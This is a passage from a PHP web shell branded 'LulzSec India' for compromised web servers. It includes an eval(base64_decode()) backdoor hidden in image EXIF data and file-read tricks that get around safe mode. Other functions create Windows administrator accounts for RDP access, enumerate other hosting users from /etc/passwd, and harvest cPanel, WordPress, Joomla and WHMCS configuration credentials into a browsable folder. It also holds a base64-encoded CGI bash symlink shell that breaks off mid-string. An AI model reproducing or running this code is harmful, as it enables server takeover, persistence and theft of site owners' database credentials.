2925 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
2926 if($temp)
2927 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>';
2928 echo '</div>';
2929 printFooter();
2930}
2931function actionrdp() {
2932 printHeader();
2933
2934error_reporting(0);
2935$local_host= shell_exec(hostname);
2936$server_ip = $_SERVER['SERVER_NAME'];
2937$gaya_root = "$local_host:~ ";
2938$phpv = @phpversion();
2939$o = "<br>";
2940
2941$BASED = exif_read_data(" image here ");
2942eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
2943if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
2944 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2945 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Be Used</span><br>';
2946} else {
2947 $status_os = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Windows</span>/<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Linux</span>';
2948 $status_work = '<span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">Can Not Be Used</span><br>';
2949}
2950?><!DOCTYPE html>
2951<html>
2952<head>
2953 <title>LulzSec India</title>
2954 <link rel='shortcut icon' type='image/x-icon' href='' />
2955 <meta name="description" content="LulzSec India">
2956 <meta name="viewport" content="width=device-width, initial-scale=1">
2957 <style type="text/css">
2958 body { height: 100%; width: 100%; margin: 0; padding: 0; background-image: url(" "); background-color: #080510; background-size: 100%; background-position: center; background-repeat: no-repeat; color: #C3C3C3; font-family: "Orbitron"; font-size: 14pt; text-align: center; text-decoration: none; } #greets { width: 820px; border-style: outset; } #footer { font-size: 9pt; opacity: .7; } .glow { text-shadow: 0 0 10px #F59700; font-family: "Black Ops One"; } .blueglow { text-shadow: 0 0 10px #0F6FBD; font-family: "Black Ops One" } .whiteglow { text-shadow: 0 0 10px #FFFFFF; font-family: "Black Ops One"; } </style>
2959
2960 <style type="text/css">
2961 /* Circle Text Styles */
2962 #outerCircleText {
2963 /* Optional - DO NOT SET FONT-SIZE HERE, SET IT IN THE SCRIPT */
2964 font-style: italic;
2965 font-weight: bold;
2966 font-family: "comic sans ms", verdana, arial;
2967 color: #FFF;
2968 /* End Optional */
2969
2970 /* Start Required - Do Not Edit */
2971 position: absolute;top: 0;left: 0;z-index: 3000;cursor: default;}
2972 #outerCircleText div {position: relative;}
2973 #outerCircleText div div {position: absolute;top: 0;left: 0;text-align: center;}
2974 /* End Required */
2975 /* End Circle Text Styles */
2976 </style>
2977</head>
2978<body>
2979<div id="content-center">
2980<pre>
2981
2982
2983
2984 Mr. Po Panda | <span style="color:White;font-family:Iceland;text-shadow:red 0px 0px 10px" "font-size:="" 40pt;"="">Lulz</span><span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 10px" "font-size:="" 40pt;"="">Sec</span><span style="color:White;font-family:Iceland;text-shadow:blue 0px 0px 10px" "font-size:="" 40pt;"="">India</span>
2985 OS Server : <?php echo php_uname("s")." | "; echo "{".$status_os."}<br>";?>
2986 Informasi : <?php echo "Server IP - ".$server_ip." {".$_SERVER['REMOTE_ADDR']."}";?>
2987 Info Tool : <?php echo $status_work;?>
2988
2989
2990 </pre>
2991</div>
2992<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
2993<span style="font-size: 25px;"><b>
2994<span style="color:White;font-family:Iceland;text-shadow:orange 0px 0px 5px" "font-size:="" 20pt;"="">Powered by</span><span style="color:White;font-family:Iceland;text-shadow:white 0px 0px 5px" "font-size:="" 20pt;"=""> LulzSec </span> <span style="color:White;font-family:Iceland;text-shadow:green 0px 0px 5px" "font-size:="" 20pt;"=""> India</span>
2995<div id="content-left">
2996<p>Create Remote Desktop Protocol </p>
2997<form action="" method="post">Username : <input type="text" name="username" required>
2998 Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value="Make">
2999</form>
3000</div>
3001
3002
3003<div id="content-left">
3004<p> Option </p>
3005<form action="" method="post">command : <input type="text" name="username" placeholder="Input Username"> <select name="aksi">
3006 <option value="1">Show Username</option>
3007 <option value="2">Clear Username</option>
3008 <option value="3">Change Password</option>
3009 </select>
3010<input type="hidden" name="kshell" value="2">
3011<input type="submit" name="submit" value="Submit"></form>
3012</div>
3013<?php }
3014?>
3015<?php
3016if($_POST['submit']){
3017echo "<p>---------------{ INFO }---------------</p>";
3018if($_POST['kshell']=="1"){
3019 $r_user = $_POST['username'];
3020 $r_pass = $_POST['password'];
3021 $cmd_cek_user = shell_exec("net user");
3022 if(preg_match("/$r_user/", $cmd_cek_user)){
3023 echo $gaya_root.$r_user." already There".$o;
3024 }else {
3025 $cmd_add_user = shell_exec("net user ".$r_user." ".$r_pass." /add");
3026 $cmd_add_groups1 = shell_exec("net localgroup Administrators ".$r_user." /add");
3027 $cmd_add_groups2 = shell_exec("net localgroup Administrator ".$r_user." /add");
3028 $cmd_add_groups3 = shell_exec("net localgroup Administrateur ".$r_user." /add");
3029
3030 if($cmd_add_user){
3031 echo $gaya_root."[add user]-> ".$r_user." <font color='greenyellow'>Successfully</font>".$o;
3032 }else {
3033 echo $gaya_root."[add user]-> ".$r_user." <font color='red'>Faild</font>".$o;
3034 }
3035 if($cmd_add_groups1){
3036 echo $gaya_root."[add localgroup Administrators]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3037 }else
3038 if($cmd_add_groups2){
3039 echo $gaya_root."[add localgroup Administrator]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3040 }else
3041 if($cmd_add_groups3){
3042 echo $gaya_root."[add localgroup Administrateur]-> ".$r_user." <font color='greenyellow'>Succeed</font>".$o;
3043 }else {
3044 echo $gaya_root."[add localgroup]-> ".$r_user." <font color='red'>Faild - Contact LulzSec india</font>".$o;
3045 }
3046 echo $gaya_root."[INFO PC]-> RDP IP ".$_SERVER["HTTP_HOST"]." Username : ".$r_user." Password : ".$r_pass." <font color='greenyellow'>Succeed</font>".$o;
3047
3048 }
3049
3050
3051
3052}else if($_POST['kshell']=="2"){
3053
3054if($_POST['aksi']=="1"){
3055 echo "<pre>".shell_exec("net user");
3056}
3057else if($_POST['aksi']=="2"){
3058$username = $_POST['username'];
3059$cmd_cek_user = shell_exec("net user");
3060 if (!empty($username)){
3061 if(preg_match("/$username/", $cmd_cek_user)){
3062 $cmd_add_user = shell_exec("net user ".$username." /DELETE");
3063 if($cmd_add_user){
3064 echo $gaya_root."[remove user]-> ".$username." <font color='greenyellow'>Succeed</font>".$o;
3065 }else {
3066 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Faild</font>".$o;
3067 }
3068 }else {
3069 echo $gaya_root."[remove user]-> ".$username." <font color='red'>Not Found</font>".$o;
3070 }
3071 }else {
3072 echo $gaya_root."[Message]=> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
3073 }
3074}
3075else if($_POST['aksi']=="3"){
3076$username = $_POST['username'];
3077$password = "india";
3078$cmd_cek_user = shell_exec("net user");
3079 if (!empty($username)){
3080 if(preg_match("/$username/", $cmd_cek_user)){
3081 $cmd_add_user = shell_exec("net user ".$username." india123");
3082 if($cmd_add_user){
3083 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='greenyellow'>Succeed</font>".$o;
3084 }else {
3085 echo $gaya_root."[change password]-> (".$username."|".$password.") <font color='red'>Faild</font>".$o;
3086 }
3087 }else
3088{
3089 echo $gaya_root."[Message]-> <font color='red'>Username is not found in server</font>".$o;
3090}
3091}else
3092{
3093 echo $gaya_root."[Message]-> <font color='red'>You Frogot to Enter a username that will delete</font>".$o;
3094}
3095}
3096}
3097}
3098echo"</pre>
3099</body>
3100</html>";
3101
3102printFooter();
3103}
3104
3105 function actionJumping()
3106{ printHeader();
3107echo '<html><head><title>'.getenv("HTTP_HOST").' - Jumping Server</title></head><body>';
3108($sm = ini_get('safe_mode') == 0) ? $sm = 'off': die('<font size="4" color="#000000" face="Calibri"><b>Error: Safe_mode = On</b></font>');
3109set_time_limit(0);@$passwd = fopen('/etc/passwd','r');if (!$passwd) { die('<font size="4" color="#e5e5e5" face="Calibri"><b>[-] Error : Coudn`t Read /etc/passwd</b></font>'); }
3110$pub = array();$users = array();$conf = array();$i = 0;while(!feof($passwd)){$str = fgets($passwd);if ($i > 100){ $pos = strpos($str,':'); $username = substr($str,0,$pos); $dirz = '/home/'.$username.'/public_html/'; if (($username != '')) { if (is_readable($dirz)) { array_push($users,$username); array_push($pub,$dirz); }}}$i++;}
3111echo '<font color=red> [-]==================[ Ye loo jumping ]==================[-]<br></font>';
3112foreach ($users as $user){echo "<font color=#a3e956> [+] /home/$user/public_html/</font><br/>";} echo "\n <font color=red><br>[-]==================[ khatam kitna kudega ]==================[-] <br></font>\n"; echo '</body></html>';
3113printFooter();
3114}
3115function actionConfigGrabber() {
3116 printHeader();
3117 error_reporting(0);
3118$etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
3119 $idx = mkdir("Lulz", 0777);
3120 $isi_htc = "Options all
3121Options +Indexes
3122Options +FollowSymLinks
3123DirectoryIndex Sux.html
3124AddType text/plain .php
3125AddHandler server-parsed .php
3126AddType text/plain .html
3127AddHandler txt .html";
3128 $htc = fopen("Lulz/.htaccess","w");
3129 fwrite($htc, $isi_htc);
3130 while($passwd = fgets($etc)) {
3131 if($passwd == "" || !$etc) {
3132 echo "<font color=red>Can't read /etc/passwd</font>";
3133 } else {
3134 preg_match_all('/(.*?):x:/', $passwd, $user_config);
3135 foreach($user_config[1] as $user_idx) {
3136 $user_config_dir = "/home/$user_idx/public_html/";
3137 if(is_readable($user_config_dir)) {
3138 $grab_config = array(
3139 "/home/$user_idx/.my.cnf" => "cpanel",
3140 "/home/$user_idx/.accesshash" => "WHM-accesshash",
3141 "/home/$user_idx/public_html/vdo_config.php" => "Voodoo",
3142 "/home/$user_idx/public_html/bw-configs/config.ini" => "BosWeb",
3143 "/home/$user_idx/public_html/config/koneksi.php" => "Lokomedia",
3144 "/home/$user_idx/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
3145 "/home/$user_idx/public_html/clientarea/configuration.php" => "WHMCS",
3146 "/home/$user_idx/public_html/whm/configuration.php" => "WHMCS",
3147 "/home/$user_idx/public_html/whmcs/configuration.php" => "WHMCS",
3148 "/home/$user_idx/public_html/forum/config.php" => "phpBB",
3149 "/home/$user_idx/public_html/sites/default/settings.php" => "Drupal",
3150 "/home/$user_idx/public_html/config/settings.inc.php" => "PrestaShop",
3151 "/home/$user_idx/public_html/app/etc/local.xml" => "Magento",
3152 "/home/$user_idx/public_html/joomla/configuration.php" => "Joomla",
3153 "/home/$user_idx/public_html/configuration.php" => "Joomla",
3154 "/home/$user_idx/public_html/wp/wp-config.php" => "WordPress",
3155 "/home/$user_idx/public_html/wordpress/wp-config.php" => "WordPress",
3156 "/home/$user_idx/public_html/wp-config.php" => "WordPress",
3157 "/home/$user_idx/public_html/admin/config.php" => "OpenCart",
3158 "/home/$user_idx/public_html/slconfig.php" => "Sitelok",
3159 "/home/$user_idx/public_html/application/config/database.php" => "Ellislab");
3160 foreach($grab_config as $config => $nama_config) {
3161 $ambil_config = file_get_contents($config);
3162 if($ambil_config == '') {
3163 } else {
3164 $file_config = fopen("Lulz/$user_idx-$nama_config.txt","w");
3165 fputs($file_config,$ambil_config);
3166 }
3167 }
3168 }
3169 }
3170 }
3171 }
3172 echo "<center><a href='Lulz' target=\"_blank\"><font color=cyan>Done</font></a></center>";
3173
3174
3175 printFooter();
3176}
3177
3178function actionsymshellsh() {
3179printHeader();
3180
3181mkdir('sh', 0755);
3182chdir('sh');
3183$htwaaccess = ".htaccess";
3184$dosya_adiaaaaaaaaaaaaaaa = "$htwaaccess";
3185$dosyaaaaaaaaaaaaaaaaaaaaa = fopen ($dosya_adiaaaaaaaaaaaaaaa , 'w') or die ("Cant Create Htaccess");
3186$metinwrrr = "AddHandler cgi-script .sh";
3187fwrite ( $dosyaaaaaaaaaaaaaaaaaaaaa , $metinwrrr ) ;
3188fclose ($dosyaaaaaaaaaaaaaaaaaaaaa);
3189$sh5e = 'IyEvYmluL2Jhc2ggLWkKCiMKcGFzc3dvcmQ9IjRadXIzIgoKCmZ1bmN0aW9uIGNnaV9nZXRfUE9TVF92YXJzKCkKewogICAgIyBjaGVjayBjb250ZW50IHR5cGUKICAgIFsgIiR7Q09OVEVOVF9UWVBFfSIgIT0gImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIgXSAmJiBcCgllY2hvICJXYXJuaW5nOiB5b3Ugc2hvdWxkIHByb2JhYmx5IHVzZSBNSU1FIHR5cGUgIlwKCSAgICAgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCEiIDE+JjIKICAgICMgc2F2ZSBQT1NUIHZhcmlhYmxlcyAob25seSBmaXJzdCB0aW1lIHRoaXMgaXMgY2FsbGVkKQogICAgWyAteiAiJFFVRVJZX1NUUklOR19QT1NUIiBcCiAgICAgIC1hICIkUkVRVUVTVF9NRVRIT0QiID0gIlBPU1QiIC1hICEgLXogIiRDT05URU5UX0xFTkdUSCIgXSAmJiBcCglyZWFkIC1uICRDT05URU5UX0xFTkdUSCBRVUVSWV9TVFJJTkdfUE9TVAogICAgcmV0dXJuCn0KCgpmdW5jdGlvbiBjZ2lfZGVjb2RldmFyKCkKewogICAgWyAkIyAtbmUgMSBdICYmIHJldHVybgogICAgbG9jYWwgdiB0IGgKICAgIAogICAgdD0iJHsxLy8rLyB9JSUiCiAgICB3aGlsZSBbICR7I3R9IC1ndCAwIC1hICIke3R9IiAhPSAiJSIgXTsgZG8KCXY9IiR7dn0ke3QlJVwlKn0iIAoJdD0iJHt0IyolfSIgICAgICAgCgkKCWlmIFsgJHsjdH0gLWd0IDAgLWEgIiR7dH0iICE9ICIlIiBdOyB0aGVuCgkgICAgaD0ke3Q6MDoyfSAKCSAgICB0PSIke3Q6Mn0iIAoJICAgIHY9IiR7dn0iYGVjaG8gLWUgXFxcXHgke2h9YCAKCWZpCiAgICBkb25lCiAgICAKICAgIGVjaG8gIiR7dn0iCiAgICByZXR1cm4KfQoKCmZ1bmN0aW9uIGNnaV9nZXR2YXJzKCkKewogICAgWyAkIyAtbHQgMiBdICYmIHJldHVybgogICAgbG9jYWwgcSBwIGsgdiBzCiAgICAjIGdldCBxdWVyeQogICAgY2FzZSAkMSBpbgoJR0VUKQoJICAgIFsgISAteiAiJHtRVUVSWV9TVFJJTkd9IiBdICYmIHE9IiR7UVVFUllfU1RSSU5HfSYiCgkgICAgOzsKCVBPU1QpCgkgICAgY2dpX2dldF9QT1NUX3ZhcnMKCSAgICBbICEgLXogIiR7UVVFUllfU1RSSU5HX1BPU1R9IiBdICYmIHE9IiR7UVVFUllfU1RSSU5HX1BPU1R9JiIKCSAgICA7OwoJQk9USCkKCSAgICBbICEgLXogIiR7UVVFUllfU1RSSU5HfSIgXSAmJiBxPSIke1FVRVJZX1NUUklOR30mIgoJICAgIGNnaV9nZXRfUE9TVF92YXJzCgkgICAgWyAhIC16ICIke1FVRVJZX1NUUklOR19QT1NUfSIgXSAmJiBxPSIke3F9JHtRVUVSWV9TVFJJTkdfUE9TVH0mIgoJICAgIDs7CiAgICBlc2FjCiAgICBzaGlmdAogICAgcz0iICQqICIKICAgICMgcGFyc2UgdGhlIHF1ZXJ5IGRhdGEKICAgIHdoaWxlIFsgISAteiAiJHEiIF07IGRvCglwPSIke3ElJSYqfSIgICMgZ2V0IGZpcnN0IHBhcnQgb2YgcXVlcnkgc3RyaW5nCglrPSIke3AlJT0qfSIgICMgZ2V0IHRoZSBrZXkgKHZhcmlhYmxlIG5hbWUpIGZyb20gaXQKCXY9IiR7cCMqPX0iICAgIyBnZXQgdGhlIHZhbHVlIGZyb20gaXQKCXE9IiR7cSMkcCYqfSIgIyBzdHJpcCBmaXJzdCBwYXJ0IGZyb20gcXVlcnkgc3RyaW5nCgkjIGRlY29kZSBhbmQgZXZhbHVhdGUgdmFyIGlmIHJlcXVlc3RlZAoJWyAiJDEiID0gIkFMTCIgLW8gIiR7cy8gJGsgL30iICE9ICIkcyIgXSAmJiBcCgkgICAgZXZhbCAiJGs9XCJgY2dpX2RlY29kZXZhciBcIiR2XCJgXCIiCiAgICBkb25lCiAgICByZXR1cm4KfQoKIyByZWdpc3RlciBhbGwgR0VUIGFuZCBQT1NUIHZhcmlhYmxlcwpjZ2lfZ2V0dmFycyBCT1RIIEFMTAoKcGFzcz0iU0FWRURQV0Q9JHBhc3N3b3JkIgpwYXNzdj1gZWNobyAkSFRUUF9DT09LSUUgfCBhd2sgJyRwYXNzfCcgIC1mMGAKCmlmIFsgJGNjMiAtZXEgNCBdIDsgdGhlbgpjbGVhcgplY2hvIC1lICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG5Db250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iCmVjaG8gJzxtZXRhIGh0dHAtZXF1aXY9InJlZnJlc2giIGNvbnRlbnQ9IjA7Ij4nCmV4aXQKZWxzZQoKaWYgWyAtbiAiJHh4IiAgXSA7IHRoZW4KZWNobyAtZSAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JHh4O1xuQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIgplY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwOyI+JwplbHNlCmVjaG8gLWUgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiIKZmkKCmZpCmVjaG8gJ1BHaDBiV3crUEhScGRHeGxQalJhZFhJeklGTm9JRk41YlZOb1pXeHNQQzkwYVhSc1pUNE5DanhvWldGa1BnMEtQSE4wZVd4bFBnMEtEUXBpYjJSNURRcDdEUW9KWW1GamEyZHliM1Z1WkRvZ0l6TXpNenNOQ2dsamIyeHZjam9nSTBZMVJqVkdOVHNOQ2cwS0NYQmhaR1JwYm1jNklERXdjSGc3RFFvTkNuME5DZzBLRFFwaE9teHBibXNzSUdKdlpIbGZZV3hwYm1zTkNuc05DZ2xqYjJ4dmNqb2dJMFpHT1Rrek16c05DZ2wwWlhoMExXUmxZMjl5WVhScGIyNDZJRzV2Ym1VN0RRcDlEUXBoT25acGMybDBaV1FzSUdKdlpIbGZZWFpwYzJsMFpXUU5DbnNOQ2dsamIyeHZjam9nSTBaR09Ua3pNenNOQ2dsMFpYaDBMV1JsWTI5eVlYUnBiMjQ2SUc1dmJtVTdEUXA5RFFwaE9taHZkbVZ5TENCaE9tRmpkR2wyWlN3Z1ltOWtlVjloYUc5MlpYSU5DbnNOQ2dsamIyeHZjam9nSTBaR1JrWkdSanNOQ2dsMFpYaDBMV1JsWTI5eVlYUnBiMjQ2SUc1dmJtVTdEUXA5RFFvTkNuUmxlSFJoY21WaERRcDdEUW9KWW05eVpHVnlPaUF4Y0hnZ2MyOXNhV1E3RFFvSlkzVnljMjl5T2lCa1pXWmhkV3gwT3cwS0NRMEtDV0poWTJ0bmNtOTFibVE2SUNNd01EQTdEUW9KWTI5c2IzSTZJQ05tWm1abVptWTdEUXBpYjNKa1pYSTZNWEI0SUhOdmJHbGtJQ05oTVdFeFlURTdEUXB3WVdSa2FXNW5PalZ3ZUNBeU1IQjRPeUFOQ21KdmNtUmxjaTF5WVdScGRYTTZNalZ3ZURzTkNpMXRiM290WW05eVpHVnlMWEpoWkdsMWN6b3lOWEI0T3lBdktpQkdhWEpsWm05NElETXVOaUJoYm1RZ1pXRnliR2xsY2lBcUx3MEtEUXA5RFFvTkNtbHVjSFYwRFFwN0RRb0pZbTl5WkdWeU9pQXhjSGdnYzI5c2FXUTdEUW9KWTNWeWMyOXlPaUJrWldaaGRXeDBPdzBLQ1c5MlpYSm1iRzkzT2lCb2FXUmtaVzQ3RFFvSlltRmphMmR5YjNWdVpEb2dJekF3TURzTkNnbGpiMnh2Y2pvZ0kyWm1abVptWmpzTkNtSnZjbVJsY2pveGNIZ2djMjlzYVdRZ0kyRXhZVEZoTVRzTkNuQmhaR1JwYm1jNk5YQjRJREl3Y0hnN0lBMEtZbTl5WkdWeUxYSmhaR2wxY3pveU5YQjRPdzBLTFcxdmVpMWliM0prWlhJdGNtRmthWFZ6T2pJMWNIZzdJQzhxSUVacGNtVm1iM2dnTXk0MklHRnVaQ0JsWVhKc2FXVnlJQ292RFFvTkNuME5DbWx1Y0hWMExtSjFkSFJ2YmlCN0RRcG1iMjUwTFdaaGJXbHNlVG9nUTI5MWNtbGxjaUJPWlhjN0RRcGpiMnh2Y2pvZ0kyWm1abVptWmpzTkNtWnZiblF0YzJsNlpUb2dNVFp3ZURzTkNuQmhaR1JwYm1jNklERXdjSGc3RFFwMFpYaDBMV1JsWTI5eVlYUnBiMjQ2SUc1dmJtVTdEUW90ZDJWaWEybDBMV0p2Y21SbGNpMXlZV1JwZFhNNklEaHdlRHNOQ2kxdGIzb3RZbTl5WkdWeUxYSmhaR2wxY3pvZ09IQjRPdzBLTFhkbFltdHBkQzFpYjNndGMyaGhaRzkzT2lBd2NIZ2dNWEI0SUROd2VDQWpZV0poWW1GaU93MEtMVzF2ZWkxaWIzZ3RjMmhoWkc5M09pQXdjSGdnTVhCNElETndlQ0FqWVdKaFltRmlPdzBLZEdWNGRDMXphR0ZrYjNjNklERndlQ0F4Y0hnZ00zQjRJQ00yTmpZMk5qWTdEUXBpYjNKa1pYSTZJSE52Ykdsa0lDTmtaV1JpWkdVZ01YQjRPdzBLWW1GamEyZHliM1Z1WkRvZ0l6a3dPVEE1TUNBN0RRcDlEUW91WW5WMGRHOXVPbWh2ZG1WeUlIc05DbUpoWTJ0bmNtOTFibVE2SUNOQ01FSXdRakE3RFFwOURRb05DaUJrYVhZdVltOTREUXA3RFFwamIyeHZjam9nSXpNek16c05DbUp2Y21SbGNqb3pjSGdnYzI5c2FXUWdJMkV4WVRGaE1Uc05DbkJoWkdScGJtYzZNVEJ3ZUNBME1IQjRPeUFOQ21KaFkydG5jbTkxYm1RNkkyVTRaVGhsT0RzTkNuZHBaSFJvT2prMEpUc05DbUp2Y21SbGNpMXlZV1JwZFhNNk1qVndlRHNOQ2kxdGIzb3RZbTl5WkdWeUxYSmhaR2wxY3pveU5YQjRPeUF2S2lCR2FYSmxabTk0SURNdU5pQmhibVFnWldGeWJHbGxjaUFxTHcwS2ZRMEtQQzl6ZEhsc1pUNE5Dand2YUdWaFpENE5DanhpYjJSNVBnMEtQR05sYm5SbGNqNE5Danh3Y21VK0RRbzhZMlZ1ZEdWeVBqeG9NVDQwV25WeU15QlRhQ0JUZVcxVGFHVnNiRHd2YURFK1BDOWpaVzUwWlhJK0RRbzhMM0J5WlQ0TkNnMEtQR1JwZGlCaGJHbG5iajBpWTJWdWRHVnlJajQ9JyB8IGJhc2U2NCAtZAoKCgkKCgoKICAgIGVjaG8gIiRIVFRQX0NPT0tJRSIgfCBncmVwIC1xaSAiJHBhc3MiCiAgICBpZiBbICQ/ID09IDAgXQogICAgdGhlbgogICAgZWNobyAiIgpleGl0CiAgICBmaQoJCgplY2hvICdQSFJoWW14bElHSnZjbVJsY2owd1BqeDBjajQ4ZEdRK1BHWnZjbTBnYldWMGFHOWtQU0p3YjNOMElpQmhZM1JwYjI0OUlpSStJQTBLUEdadmNtMGdiV1YwYUc5a1BTSndiM04wSWlCaFkzUnBiMjQ5SWlJK0lBMEtDVHhtYjNKdElHMWxkR2h2WkQwaWNHOXpkQ0lnWVdOMGFXOXVQU0lpUGdrSlBHbHVjSFYwSUdOc1lYTnpQU0ppZFhSMGIyNGlJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWW5WMGRHOXVJaUIyWVd4MVpUMGlJQ0FnU0c5dFpTQWdJQ0FpSUM4K0RRb0pQQzltYjNKdFBnMEtDVHd2ZEdRK0RRbzhkR1ErRFFvOFptOXliU0J0WlhSb2IyUTlJbkJ2YzNRaUlHRmpkR2x2YmowaUlqNE5DZ2tOQ2drOFptOXliU0J0WlhSb2IyUTlJbkJ2YzNRaUlHRmpkR2x2YmowaUlqNE5DZ2s4YVc1d2RYUWdkSGx3WlQwaWFHbGtaR1Z1SWlCdVlXMWxQU0pqWXpJaUlIWmhiSFZsUFNJeUlpQWdMejROQ2drSlBHbHVjSFYwSUdOc1lYTnpQU0ppZFhSMGIyNGlJSFI1Y0dVOUluTjFZbTFwZENJZ2JtRnRaVDBpWW5WMGRHOXVJaUIyWVd4MVpUMGlJRk5vYjNjZ0lDQkViMjFoYVc1eklDWWdWVk5sY25NZ0lpQXZQZzBLQ1R3dlptOXliVDROQ2p3dmRHUStEUW84ZEdRK0RRbzhabTl5YlNCdFpYUm9iMlE5SW5CdmMzUWlJR0ZqZEdsdmJqMGlJajROQ2drTkNnazhabTl5YlNCdFpYUm9iMlE5SW5CdmMzUWlJR0ZqZEdsdmJqMGlJajROQ2drOGFXNXdkWFFnZEhsd1pUMGlhR2xrWkdWdUlpQnVZVzFsUFNKall6SWlJSFpoYkhWbFBTSXpJaUFnTHo0TkNna05DZ2s4YVc1d2RYUWdkSGx3WlQwaWMzVmliV2wwSWlCamJHRnpjejBpWW5WMGRHOXVJaUJ1WVcxbFBTSmlkWFIwYjI0aUlIWmhiSFZsUFNKRGNtVmhkR1VnSUhONWJXeHBibXNpSUM4K0RRb0pQQzltYjNKdFBnMEtQQzkwWkQ0TkNqeDBaRDROQ2p4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJaVBnMEtDUTBLQ1R4bWIzSnRJRzFsZEdodlpEMGljRzl6ZENJZ1lXTjBhVzl1UFNJaVBnMEtDVHhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUc1aGJXVTlJbU5qTWlJZ2RtRnNkV1U5SWpraUlDQXZQZzBLQ1EwS0NUeHBibkIxZENCMGVYQmxQU0p6ZFdKdGFYUWlJR05zWVhOelBTSmlkWFIwYjI0aUlHNWhiV1U5SW1KMWRIUnZiaUlnZG1Gc2RXVTlJa2RsZENCRGIyNW1hV2NpSUM4K0RRb0pQQzltYjNKdFBnMEtQQzkwWkQ0TkNnMEtEUW9OQ2cwS1BDOTBjajQ4TDNSaFlteGxQZzBLSUEwS1BDOWthWFkrRFFvTkNqd3ZZMlZ1ZEdWeVBnPT0nIHwgYmFzZTY0IC1kCgoKaWYgWyAkY2MyIC1lcSAyIF0gOyB0aGVuCmVjaG8gIjxicj48Y2VudGVyPjx0YWJsZSBib3JkZXI9JzEnIHdpZHRoPSc0NSUnIGNlbGxzcGFjaW5nPScwJyBib3JkZXJjb2xvcj0nI2EzYTNhMycgY2VsbHBhZGRpbmc9JzAnIGFsaWduPSdjZW50ZXInPjx0cj48dGQgYmdjb2xvcj0nIzAwMDAwMCcgYWxpZ249J2NlbnRlcic+RG9tYWluPC90ZD48dGQgYWxpZ249J2NlbnRlcicgYmdjb2xvcj0nIzAwMDAwMCc+VXNlcjwvdGQ+PC90cj4iCgpmb3IgaSBpbiBgY2F0IC9ldGMvbmFtZWQuY29uZiB8IHVuaXEgfGdyZXAgJ156b25lJyB8Z3JlcCAtdiAnIi4iJyB8Z3JlcCAtdiAnIjAuMC4xMjcuaW4tYWRkci5hcnBhIicgfGN1dCAtZCAnICcgLWYgMiAgfGN1dCAtZCAnIicgLWYgMnwgc29ydCB8IHVuaXEgYDsgZG8gZWNobyAiPHRkIGFsaWduPSdjZW50ZXInPiRpPC90ZD48dGQgYWxpZ249J2NlbnRlcic+IiA7IGxzIC1kbCAvZXRjL3ZhbGlhc2VzLyRpIHxjdXQgLWQgJyAnIC1mIDMgOyBlY2hvICI8L3RkPjwvdHI+IjsgZG9uZQoKZWNobyAiPC90YWJsZT48L2NlbnRlcj48YnI+IgpmaQoKaWYgWyAkY2MyIC1lcSAzIF0gOyB0aGVuCmVjaG8gIjx4bXA+Igpta2RpciBzeW0KIGVjaG8gT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzID4gc3ltLy5odGFjY2VzcyAKIGVjaG8gIERpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0gPj4gc3ltLy5odGFjY2VzcyAKIGVjaG8gIEFkZFR5cGUgdHh0IC5waHAgPj4gc3ltLy5odGFjY2VzcyAKIGVjaG8gIEFkZEhhbmRsZXIgdHh0IC5waHAgPj4gc3ltLy5odGFjY2VzcyAKIGVjaG8gICBBZGRUeXBlIHR4dCAuaHRtbCA+PiBze